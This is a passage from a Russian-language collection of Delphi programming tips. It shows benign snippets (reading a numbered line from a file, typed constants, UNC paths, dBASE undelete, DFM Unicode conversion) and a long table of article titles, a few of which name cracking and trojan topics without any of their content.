lineStart := buf;
bufPos := buf;
while (bufRead > 0) and (bufPos^ <> #10) do
begin
Inc(bufPos);
Dec(bufRead);
end;
SetString(tmp, lineStart, bufPos - lineStart);
Result := Result + tmp;
end;
finally
fs.Free;
end;
end;
function GrabLine2(const s: string; ALine: Integer): string;
var
sl: TStringList;
begin
sl := TStringList.Create;
try
sl.LoadFromFile(s);
Result := sl[ALine - 1]; // index off by one
finally
sl.Free;
end;
end;
begin
Writeln(GrabLine(ParamStr(1), StrToInt(ParamStr(2))));
Writeln(GrabLine2(ParamStr(1), StrToInt(ParamStr(2))));
end.
{
Call it like 'getline testfile.txt 20000', depending on what you call the
.pas (or .dpr) file. For large (i.e. tens of megabytes) files, the (rather
complex) scanning function easily beats the memory expensive StringList
version.
-- Barry
}
Типизированные константы.
Чтобы инициализировать переменную на стадии ее создания, нужно объявить ее, как типизированную константу. Таким способом можно инициализировать переменные простых типов, а также записи, массивы, множества.Пример:
procedure TForm1.FormCreate(Sender: TObject);
const
a: integer = 0;
p: TPoint = (x: 10; y: 20);
BoolStr: array [boolean] of string = ('false', 'true');
figures: set of char = ['0'..'9'];
begin
p := Form1.ClientToScreen(p);
SetCursorPos(p.x, p.y);
Form1.Caption := BoolStr[GetKeyState(VK_NUMLOCK) and 1 > 0];
end;
|
Типы модулей в Delphi.
Наиболее распространенным типом модуля в Delphi является форма - модуль со связанным с ним окном. Интерфейсная часть такого модуля обычно содержит объявление нового класса и автоматически обновляется Delphi в ходе конструирования окна. В интерфейсной части модуля-формы содержится также объявление объекта для соответствующего оконного класса. Например, для нашей учебной программы модуль содержит объявление класса TfmExamie и объекта fmExampie. Большинство типовых модулей в репозитории содержат заготовки для создания диалоговых окон. Помимо форм в репозитории содержатся также не связанные с видимыми окнами модули. Кроме уже рассмотренного выше модуля общего назначения, к ним относятся модули данных, модули динамических библиотек, пакеты и модули потоков. Модули данных имеют связанные с ними окна, однако, эти окна никогда не появляются на экране. Необходимость в окнах вызвана тем, что компоненты доступа к данным страницы можно вставить только в форму, хотя все они не имеют видимого воплощения в работающей программе. Невидимое окно модуля данных предназначено для размещения этих компонентов и связанных с ними объектов-полей. Разумеется, для размещения компонентов и полей можно использовать и обычное окно-форму, однако в этом случае пиктограммы компонентов загромождают видимое пространство окна и затрудняют его конструирование. В Delphi 5, 6 модули данных способны отображать реляционные связи между сущностями базы данных в виде диаграмм. Модули динамических библиотек предназначены для создания широко используемых в Windows динамически связываемых библиотек DLL (Dynamic-Link Libraries). DLL служат универсальным средством согласования подпрограмм, написанных на разных языках программирования. В Windows содержится множество DLL, написанных на языке Си или на языке ассемблера, что ничуть не мешает Delphi-программам использовать их. Модули динамических библиотек предназначены для разработки DLL с помощью Object Pascal. Такие DLL затем смогут использовать программы, созданные с помощью других языков программирования. Пакеты - это особым образом откомпилированные DLL, оптимизированные для совместного использования Delphi-программами, или средой Delphi, или и программами, и средой. В отличие от DLL пакеты могут хранить и передавать программе типы (включая классы) и данные. Они разработаны специально для хранения компонентов, разного рода экспертов, редакторов сложных свойств и т. п. Например, в пакете VCL60 .bpl содержатся основные компоненты Delphi.Модули потоков предназначены для реализации так называемых потоков команд[ В Delphi существуют также потоки данных - см.п. 11.4. ] - фрагментов программы, которые исполняются параллельно с другими фрагментами, разделяя с ними время процессора и остальные системные ресурсы. Механизм потоков используется в 32-разрядных Windows и не поддерживается в Delphi 1. К сожалению, в текущей реализации Delphi 32 потоки не могут связываться с собственными видимыми компонентами, так как библиотека визуальных компонентов VCL (Visual Component Library) не поддерживает работу с потоками. Вот почему модуль потока не имеет связанного с ним окна.
Получить сетевой путь к зашаренному файлу по локальному пути.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
ExpandUNCFileName returns the full path of the FileName
with the network drive portion in UNC format.
The pathname in the UNC-Format has the format:
\\Servername\sharename
ExpandUNCFileName gibt einen String mit dem vollstandigen
Pfadnamen der in FileName ubergebenen Datei zuruck.
Ein vollstandig qualifizierter Pfadname besteht aus der
Laufwerkskomponente des Dateinamens im UNC-Format:
\\Servername\sharename
// Example, Beispiel:
Label1.Caption := ExpandUNCFileName('K:\sharename.tmp'));
{where "K" is a Network Drive.}
Получить сетевой путь к зашаренному файлу по локальному пути 2.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetUNCName(const LocalPath: string): string;
var
BufferSize: DWord;
DummyBuffer: Byte;
Buffer: Pointer;
Error: DWord;
begin
BufferSize := 1;
WNetGetUniversalName(PChar(LocalPath), UNIVERSAL_NAME_INFO_LEVEL, @DummyBuffer, BufferSize);
Buffer := AllocMem(BufferSize);
try
Error := WNetGetUniversalName(PChar(LocalPath), UNIVERSAL_NAME_INFO_LEVEL, Buffer, BufferSize);
if Error <> NO_ERROR then
begin
SetLastError(Error);
RaiseLastWin32Error;
end;
Result := PUniversalNameInfo(Buffer)^.lpUniversalName
finally
FreeMem(Buffer);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Label1.Caption := GetUNCName('y:\xyz\')
end;
Отменить удаление dBASE записи.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure RecordUndelete(aTable: TTable);
begin
aTable.UpdateCursorPos;
try
Check(DbiUndeleteRecord(aTable.Handle));
except
ShowMessage('No undelete performed.');
end;
end;
Как запрограммировать Undo.
| Встречаются два программиста - один идет веселый, пьет пиво, а второй - грустный, но с коляской. Первый: - Ты чего такой? Жизнь прекрасна! Второй (указывая на коляску): - Да вот!.. Ни Uninstall, ни Undo не помогли |
Memo1.Perform(EM_UNDO, 0, 0); |
Преобразование Unicode строк в DFM файлах Delphi 6 в Ansi строки.
Автор: Alx2 WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование Unicode строк в DFM файлах Delphi 6 в Ansi строки.
При попытке открыть проект созданный в Delphi 6 из Delphi 5 возникает
проблема с чтением DFM-файла. Проблема заключается в том, что Delphi5
не может прочитать строки, записанные в формате Unicode (WideString).
Данная функция переводит строки из DFM файла в формат ANSI, после чего
DFM файл читается в D5. Но при этом может возникнуть проблема, связанная
с незнакомыми для D5 свойствами компонентов, которая, в свою очередь,
решается игнорированием этих свойств.
Зависимости: Classes
Автор: Радионов Алексей (Alx2), alx@argo.mv.ru, ICQ:113442587, Ульяновск
Copyright: Alx2
Дата: 31 мая 2002 г.
***************************************************** }
procedure RemoveUnicodeFromDFM(const Filename: string);
function isChanges(const S: string; var Res: string): Boolean;
var
len: Integer;
function LexemSharp(var K: Integer): Boolean;
begin
Result := (K < len) and (S[K] = '#');
if Result then
begin
inc(K);
while (K <= len) and (S[K] in ['0'..'9']) do
inc(K);
end;
end;
function LexemAp(var K: Integer): Boolean;
begin
Result := (K < len) and (S[K] = '''');
if Result then
begin
inc(K);
while (K <= len) and (S[K] <> '''') do
inc(K);
if K <= len then
inc(K);
end;
end;
function Lexem(var K: Integer; var Str: string): Boolean;
var
Start: Integer;
ValS: string;
begin
Result := False;
Start := K;
if LexemSharp(K) then
begin
ValS := Copy(S, Start + 1, K - Start - 1);
Str := WideChar(StrToInt(ValS));
Result := True;
end
else if LexemAp(K) then
begin
Str := Copy(S, Start + 1, K - Start - 2);
Result := True;
end;
end;
function Prepare(var K: Integer): string;
var
Str: string;
WasLexem: Boolean;
begin
Result := '';
WasLexem := False;
while Lexem(K, Str) do
begin
Result := Result + Str;
WasLexem := True;
end;
if Result <> '' then
Result := '''' + Result + '''' + Copy(S, K, Length(S))
else if not WasLexem then
Result := S
else
Result := '''''';
end;
function Min(A, B: Integer): Integer;
begin
if A = 0 then
Result := B
else if B = 0 then
Result := A
else if A > B then
Result := B
else
Result := A;
end;
var
StartIdx: Integer;
begin
Result := False;
StartIdx := Min(Pos('#', S), Pos('''', S));
if StartIdx > 0 then
begin
len := Length(S);
while (StartIdx <= len) and (not (S[StartIdx] in ['#', ''''])) do
inc(StartIdx);
if StartIdx < len then
begin
Res := Copy(S, 1, StartIdx - 1) + Prepare(StartIdx);
Result := True;
end;
end;
end;
var
SList: TStringList;
K: Integer;
Res: string;
begin
SList := TStringList.Create;
try
SList.LOADFROMFILE(Filename);
for K := 0 to SList.Count - 1 do
if isChanges(SList[K], Res) then
SList[K] := Res;
SList.SaveToFile(Filename);
finally
SList.Free;
end;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
K: Integer;
begin
if OpenDialog1.Execute then
for K := 0 to OpenDialog1.Files.Count - 1 do
RemoveUnicodeFromDFM(OpenDialog1.Files[K]);
end;
Содержание.
- Определение восхода и захода солнца и луны.
- Взлом за 1.5 минуты - SuperFTP v2.04 for Win.
- Поддержка многоязычного интерфейса.
- Как узнать все форматы бумаги, поддерживаемые принтером по умолчанию.
- Приостановить ПК.
- Как поменять функции кнопок мышки.
- Преобразовать файл Flash SWF в EXE.
- Как программно переключить раскладку клавиатуры.
- Переключиться в режим StandBy.
- 32-битное соединение с сервером Sybase.
- Получить количество вхождений символа в строку.
- Преобразовать код символа в скан-код клавиши.
- Симфония на клавиатуре.
- Синхронизировать время на 2-х компьютерах в локальной сети.
- Синхронизация DLL с открытым набором данных.
- Синхронизация таблицы и StringList.
- Синхронизация двух компонентов ScrollBox.
- Общие рекомендации к оформлению кода.
- Системное меню приложения.
- Компонент SystemTray.
- Вызов стандартного системного окна О программе.
- Время простаивания системы.
- Как сделать окно системно-модальным.
- Отключить клавиши при системном Hooke.
- Перехват нажатия на системные кнопки формы (закрытие, минимизация окна и т.д.).
- Получение информации о системных шрифтах.
- Регистрация горячих системных клавиш.
- Добавляем пункты в системное меню Windows.
- Оповещение о том, что изменили системные настройки.
- Заставить системное меню выпасть в указанном месте.
- Создаём системную горячую клавишу.
- Перевод системы в режим ожидания или спячки.
- Как открыть диалог смены системного времени.
- Сохранить и загрузить двумерный динамический массив.
- Динамические создание объектов в TabbedNotebook.
- Динамические создание объектов в TabbedNotebook 2.
- Недоступная закладка в компоненте TabbedNotebook.
- Доступ к страницам Tabbednotebook.
- Tabbednotebook и куча ресурсов.
- Печать табуляторов с помощью TextOut.
- Над какой закладкой курсор в TabControl.
- Таблицы в памяти.
- Таблицы строк.
- Извлечение данных индекса таблицы.
- Как сохранить содержимое таблицы в текстовый файл.
- Получить версию таблицы.
- Синхронизация TabSet c ListBox.
- Перемещение на страницу TabSet по имени.
- Как определить, что была нажата клавиша Tab.
- Имитация Tab.
- События KeyPress и KeyDown не вызываются для Tab - как определить ее нажатие.
- Tab как Enter в StringGrid.
- Ошибка TACTIVEFORMX DECLARATION MISSING OR INCORRECT (определение TACTIVEFORMX отсутствует или неправильно).
- Компонент TADOUpdateSQL.
- Как принимать ярлыки при перетягивании их на контрол.
- Набрать номер по модему. Голосовой звонок. Использование TAPI.
- Сделать кнопку на TaskBar для каждого окна.
- Определение координат расположения TaskBar.
- Работа с TaskBar.
- Как разрешить или запретить переключение между задачами.
- Показать контекстное меню на панели задач.
- Пересборка индексов с помощью TBatchMove.
- Работа с TChart.
- Как поместить TCheckBox в TRichEdit.
- TCheckListBox - использование методов LoadFromFile и SaveToFile.
- Информация о TClass.
- TClientDataSet. Утечка памяти при загрузке XML.
- TClientDataSet. Некорректное формирование XML.
- Класс для реализации списка Variant-ов на основе TCollection.
- TColor.
- TComportDriver - драйвер последовательного порта.
- Использование компонента TCoolBar или как создавать кульные панели инструментов.
- Сделать загрузчик приложения через TCP.
- Организация связи между компьютерами через TCP и IP протокол.
- Каким драйвером пользуется TDATABASE.
- Информация о TDataLink.
- Записать TDataSet в Excel файл.
- Экспорт TDataSet в XML файл.
- Как сделать экспорт TDataSet в XML файл.
- Как заставить произвольный компонент реагировать на изменения в TDataSource.
- Внимание! TDateTime 1899.
- Корректировка поведения маски TDateTimeField.
- Компонент Tdbf для непосредственного доступа к файлам DBF.
- Изменить высоту строк по умолчанию для TDBGrid.
- Изменить высоту строк по умолчанию для TDBGrid 2.
- Избавить TDBGrid от автоматического добавления новой записи.
- Проблема хранения TDBImage.
- TDBLookupComboBox. Реакция на нажатие ESC.
- TDBMemo в TDBCtrlGrid.
- Пример создания компонента TDBNavigationButton.
- Изменить иконки для TDBNavigator.
- Изменить подсказку для каждой кнопки TDBNavigator.
- Заголовок TDBGrid в две строки.
- TDirectoryOutline. Ошибка в свойстве Directory.
- Пример TDrawGrid Drawcell.
- TDropper - Компонент для перетаскивания файлов.
- Компонент TEdit с возможностью задать выравнивание текста.
- TEdit с выравниваением текста по центру.
- Поиск и управление TEdit и TField.
- Как создать нестандартную процедуру переноса слов для TEdit, TMemo.
- Teleport Pro Version 1.29.
- Команды Telnet.
- TELNET.
- Шаблон массива переменной длины.
- Десять заповедей разработчика.
- Десять уроков сетевого хака.
- Завершение всех работающих приложений.
- Как завершить любой процесс, в том числе и системный.
- Завершить чужое приложение.
- Тестер электронных дикторов.
- Как осуществить минимальный тест на корректность глобального идентификатора (GUID), и интерфейсов, унаследованных от IDispatch.
- TExcelManager.
- Присвоить текст файла переменной.
- Функция, возвращающая текст между двумя определёнными строками.
- Как текст на кнопке расположить под заданным углом.
- Компоненты ввода и отображения текстовой информации.
- Пример шифрования текста.
- Поиск текста в текстовых файлах.
- Работа с текстовыми файлами.
- Вывод строковой информации.
- Изменить заголовки компонент различных классов.
- Как реализовать поиск по тексту.
- Отображаем текст в System Tray.
- Сохранение страницы TF1Book в BLOB-поле.
- Использование нумерации в TFields.
- Как задать выражение по умолчанию для объекта TField.
- TFileFinder - механизм поиска файлов.
- Сохранить объект TFont в реестре.
- TFrame. Несколько фреймов одного типа на форме.
- Заголовок TGA-файла.
- Автопроектировщик цифровых схем Флогистон.
- Определить, что пользователь изменить схему оформления XP.
- Теория и практика использования RTTI.
- Поточность TreeView.
- Потоки и DLL.
- Особенности разработки потоков.
- Пример работы с потоками.
- Группировка и разгруппировка потоков.
- Как создавать потоки без класса TThread.
- Как создавать потоки без класса TThread 2.
- Работа в отдельном потоке, которая не мешает основной программе.
- Пример расчета величины в отдельном потоке.
- Поток с доступом к глобальной переменной основной программы.
- Определение количества приостановок (suspend) потока.
- Запись потока в BLOB-поле.
- Сохранение потока в INI файле.
- Поток без синхронизации.
- Поток с использованием Mutexa.
- Поток с использованием семафора.
- Сквозь Вселенную с дополнительными возможностями.
- Конвертируем TIF в PDF.
- Плитка из картинок.
- TImageList. Не отображаются иконки на контролах.
- Как сделать картинки в TImageList прозрачными.
- Как работать с Fade для TImage.
- TImage - эффект плавного перехода.
- Функции для работы с объектом типа TImage.
- Получить или установить допустимые периоды истечения времени.
- Засечь время.
- Вывести временную зону.
- Синхронизация завершения работы Windows.
- Некоторые модификации методов ReadSection и ReadSections объекта, типа TIniFile.
- TIniFile.
- Прокрутка текста заголовка.
- Комбинация TLabel и TEdit.
- TLabel и TEdit без контейнера.
- Полосатый TListBox.
- Как узнать, по какой колонке был клик в TListView.
- Искать текст в TListView.
- Файл типа TList.
- TMathExpression - компонент для синтаксического анализа.
- VCL.TMediaPlayer. Проблема записи при невыбранном файле.
- Пример компонента типа TMediaPlayer с регулированием темпа звучания.
- Обмен данными между TMemoField и TMemo.
- Различия TMemoField.
- Загрузка TMemoField в Memo.
- TMemoryStream.
- Следование за мышкой в TMemo для установки позиции курсора.
- Фильтровать все ссылки в TMemo.
- TMetaFile - ошибка при работе с памятью.
- Компонент TMinMax.
- Компонент TMultiProperty.
- Как реализовать обработку информации одновременно несколькими потоками.
- Компонент TNMDayTime.
- Компонент TNMEcho.
- Компонент TNMFinger.
- Компонент TNMFTP.
- Компонент TNMGeneralServer.
- Компонент TNMHTTP.
- Компоненты TNMMsg и TNMMsgSer.
- Компонент TNMNNTP.
- Компонент TNMPOP3.
- Компонент TNMSMTP.
- Компоненты TNMStrm И TNMStrmServ.
- Компонент TNMTime.
- Компонент TNMUDP.
- Компонент TNMURL.
- Компонент TNMUUProcessor.
- Как определить, является ли метод потомком TNotifyEvent.
- Добавление изображений на кнопки панели инструментов во время работы приложения.
- Использование меню Инструменты в IDE.
- TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog.
- Компонент TOraCommentsToFL — загрузка русских наименований колонок из ERwin в DisplayLabels.
- TOutline - Перетащи и брось.
- TOutline - Перетащи и брось 2.
- TOutline - Перетащи и брось 3.
- Пример отрисовки TOutline.
- TOutline OwnerDraw - значение индекса.
- Поточность TOutline.
- Ханойская башня.
- Получить оттенок серого из RGB-цвета.
- Как узнать значения, которые пользователь вводит в TDBGrid.
- Преобразование выражения к Обратной Польской Нотации.
- Преобразование информации из табличных компонент в RTF.
- TPageProducer. Взаимодействие свойств HTMLDoc и HTMLFile.
- TPaintBox в буфер обмена.
- Как сохранить содержимое TPaintBox в BMP.
- Недокументированный TParser.
- Пример TParser.
- Запись и чтение объекта TPersistent в поток.
- Массив TPOINT.
- Редактор свойств для точки.
- Компонент TPowerSock.
- Компонент TPreview.
- Класс TPrinter.
- Пример использования TPrinter.
- Особенности работы с TPrinter.
- Поиск записи с помощью TQuery.
- Поиск записи с помощью TQuery 2.
- Введение в режимы трассировки SoftICE.
- Работа с транзакциями.
- Преобразование координат.
- Перевод между системами исчисления.
- Прозрачность.
- Прозрачный Bitmap.
- Прозрачный компонент.
- Прозрачность в D6.
- Как избежать того, что в некоторых видео режимах прозрачная часть g1урhа стандартного TBitBtn становится видной.
- Прозрачный растр.
- Как сделать прозрачным фон текста.
- Прозрачное окно.
- Прозрачное окно 2.
- Мало места на винте.
- Компонент TrayComp.
- Компонент TrayIcon.
- Использование подсказки в Tray в виде шара.
- Иконка на TrayBar - пример.
- Издевательства над System Tray.
- Приложение не убирает всплывающее меню после потери фокуса.
- Прокрутка TreeView, чтобы держать выделение посередине.
- Получение доступа к узлам TreeView.
- Как связать TreeView и PageControl.
- Поместить список контролов и пунктов меню в TTreeView.
- Изменить RootKey для TRegIniFile.
- Хитрости печати.
- Как сделать откат внутри триггера.
- Очистка строки слева и справа от указанных символов.
- Очистка строки слева и справа от указанного символа.
- Боевой конь за 10 минут.
- Троянские порты.
- Компонент для последовательного устройства (TRS232).
- TRyMenu — собственная отрисовка меню.
- TRySharedSream — класс упрощающий работу с файлом подкачки.
- Класс TRyTimer.
- Как отловить сообщения о прокрутке TScrollBar.
- Как перехватить сообщения прокрутки в TScrollBox.
- Использование компонента TServerSocket.
- Информация о базах данных при помощи TSession.
- TSortList - работа с отсортированным списком.
- Способ создания TSR программ без PSP.
- TStatusBar с другими контролами.
- Проблемы использования компонента TStoredProc.
- Несколько функций для TStream.
- TStringGrid и файловый поток.
- Форматирование ячеек TStringGrid.
- Сортировка по содержимому нужного столбца в TStringGrid.
- Вывести номер строки и столбца TStringGrid.
- TStringGrid с фокусом (OnDrawCell).
- TStringList в TIniFile.
- Свойство TStringList.
- Редактор свойства TStringListProperty.
- TStringList и потоки.
- Удаление дубликатов в TStringList.
- TStringList.IndexOf. Зависимость от сортировки.
- TStringList, владеющий объектами.
- TStringList. Неустойчивость сортировки.
- Создать Terminal Services Client.
- Использовать TTime для более 24 часов.
- TTreeView. Проблемы CustomDraw.
- TreeView - компонент для показа dataset в виде дерева с сохранением.
- Показываем директории в TTreeView.
- Получить строковый путь в TTreeView.
- Сохранить и загрузить TTreeView.
- Принцип и порядок работы с TUpdateSQL для работы с неживыми запросами.
- TUpdateSQL. Выполнение нескольких SQL команд.
- Как отключить хранитель экрана.
- Как выключит спикер.
- Как включить Caps Lock.
- Включение и выключение закладки Notebook.
- Как программно включить или выключить NumLock.
- TVertGrid — TStringGrid с возможностью заполнения в design-time.
- Отключить подсказки для TTreeView.
- Как реализовать Drag and Drop в TTreeView.
- Перенос элементов в TTreeView.
- Прокручивать TTreeView во время перемещения.
- Получение узла в TTreeView по пути заголовков.
- Искать узел TTreeView через его свойство Text.
- Выделять узел TTreeView правой кнопкой мыши.
- Получение пути заголовков к узлу в TTreeView.
- Копировать нижние узлы TTreeView во второй TTreeView.
- Добавить текущую страницу TWebBrowser в Избранное.
- Как в TWEBBrowser организовать изменение размера шрифта.
- Заменить рисунки в TWEBBrowser.
- TWinControl.Caption. Теряется маленькая русская буква я.
- Мерцание формы.
- Две колонки в DBLookupComboBox.
- Drag and Drop для двух компонентов TOutline.
- Компонет TWrapGrid, осуществляющий перенос текста в TStringGrid.
- Пример TWriter и TReader.
- TWriter и TReader - читаем и пишем в файл.
- Прочитать строку под нужным номером из текстового файла.
- Типизированные константы.
- Типы модулей в Delphi.
- Получить сетевой путь к зашаренному файлу по локальному пути.
- Получить сетевой путь к зашаренному файлу по локальному пути 2.
- Отменить удаление dBASE записи.
- Как запрограммировать Undo.
- Преобразование Unicode строк в DFM файлах Delphi 6 в Ansi строки.